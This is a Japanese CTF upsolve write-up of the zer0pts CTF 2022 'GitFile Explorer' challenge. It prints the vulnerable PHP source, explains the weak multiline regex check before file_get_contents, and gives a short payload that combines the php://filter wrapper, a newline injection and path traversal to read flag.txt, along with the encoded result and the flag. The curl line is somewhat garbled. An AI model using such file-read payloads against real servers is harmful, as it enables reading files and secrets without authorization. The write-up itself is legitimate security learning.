ctf upsolve by kodai Advent Calendar 2025(Day8)
いつもAlpaca Hackの問題を取り上げていて、解釈に凄く時間がかかるので今回は扱う問題を変えてみました。
若干遅れてしまいました...
取り扱った問題
zer0pts CTF 2022 GitFile Explorer
Author: ptr-yudai
upsolve
サイトにアクセスすると以下のようなページが出てきます。
Service, Github ID, Repository Nameなどを指定してDownloadのボタンを押すと、指定したページの内容が反映されます。

index.phpのファイルが与えられました。
<?php
function h($s) { return htmlspecialchars($s); }
function craft_url($service, $owner, $repo, $branch, $file) {
if (strpos($service, "github") !== false) {
/* GitHub URL */
return $service."/".$owner."/".$repo."/".$branch."/".$file;
} else if (strpos($service, "gitlab") !== false) {
/* GitLab URL */
return $service."/".$owner."/".$repo."/-/raw/".$branch."/".$file;
} else if (strpos($service, "bitbucket") !== false) {
/* BitBucket URL */
return $service."/".$owner."/".$repo."/raw/".$branch."/".$file;
}
return null;
}
$service = empty($_GET['service']) ? "" : $_GET['service'];
$owner = empty($_GET['owner']) ? "ptr-yudai" : $_GET['owner'];
$repo = empty($_GET['repo']) ? "ptrlib" : $_GET['repo'];
$branch = empty($_GET['branch']) ? "master" : $_GET['branch'];
$file = empty($_GET['file']) ? "README.md" : $_GET['file'];
if ($service) {
$url = craft_url($service, $owner, $repo, $branch, $file);
if (preg_match("/^http.+\/\/.*(github|gitlab|bitbucket)/m", $url) === 1) {
$result = file_get_contents($url);
}
}
?>
<!DOCTYPE html>
<html>
<head>
<meta charset="UTF-8">
<title>GitFile Explorer</title>
<link rel="stylesheet" href="https://cdn.simplecss.org/simple-v1.css">
</head>
<body>
<header>
<h1>GitFile Explorer API Test</h1>
<p>Simple API to download files on GitHub/GitLab/BitBucket</p>
</header>
<main>
<form method="GET" action="/">
<label for="service">Service: </label>
<select id="service" name="service" autocomplete="off">
<option value="https://raw.githubusercontent.com" <?= strpos($service, "github") === false ? "" : 'selected="selected"' ?>>GitHub</option>
<option value="https://gitlab.com" <?= strpos($service, "gitlab") === false ? "" : 'selected="selected"' ?>>GitLab</option>
<option value="https://bitbucket.org" <?= strpos($service, "bitbucket") === false ? "" : 'selected="selected"' ?>>BitBucket</option>
</select>
<br>
<label for="owner">GitHub ID: </label>
<input id="owner" name="owner" type="text" placeholder="Repository Owner" value="<?= h($owner); ?>">
<br>
<label for="repo">Repository Name: </label>
<input id="repo" name="repo" type="text" placeholder="Repository Name" value="<?= h($repo); ?>">
<br>
<label for="branch">Branch: </label>
<input id="branch" name="branch" type="text" placeholder="Branch Name" value="<?= h($branch); ?>">
<br>
<label for="file">File Path: </label>
<input id="file" name="file" type="text" placeholder="README.md" value="<?= h($file); ?>">
<br>
<input type="submit" value="Download">
</form>
<?php if (isset($result)) { ?>
<br>
<?php if ($result === false) { ?>
<p>Not Found :(</p>
<?php } else {?>
<textarea rows="20" cols="40"><?= h($result); ?></textarea>
<?php } ?>
<?php } ?>
</main>
<footer>
<p>zer0pts CTF 2022</p>
</footer>
</body>
</html>
この中で怪しそうな部分は、以下の部分です。
if ($service) {
$url = craft_url($service, $owner, $repo, $branch, $file);
if (preg_match("/^http.+\/\/.*(github|gitlab|bitbucket)/m", $url) === 1) {
$result = file_get_contents($url);
}
}
pregmatch関数はpatternで指定した正規表現からsubjectを検索する関数です。
patternで指定されている部分の最後にmが入っているのが気になります。
mに入るのはなんでも良さそうなので、../を使ってfile.txtにアクセスしてみます。
curl "php://filter/convert.base64-encode/resource=/%0ahttp://github&...file=flag.txt"
すると、emVyMHB0c3tmb28vYmFyLy4uLy4uLy4uLy4uLy4uL2RpcmVjdG9yeS90cmF2ZXJzYWx9Cg==が返ってきます。これをデコードするとflagがゲットできます。
FLAG : zer0pts{foo/bar/../../../../../directory/traversal}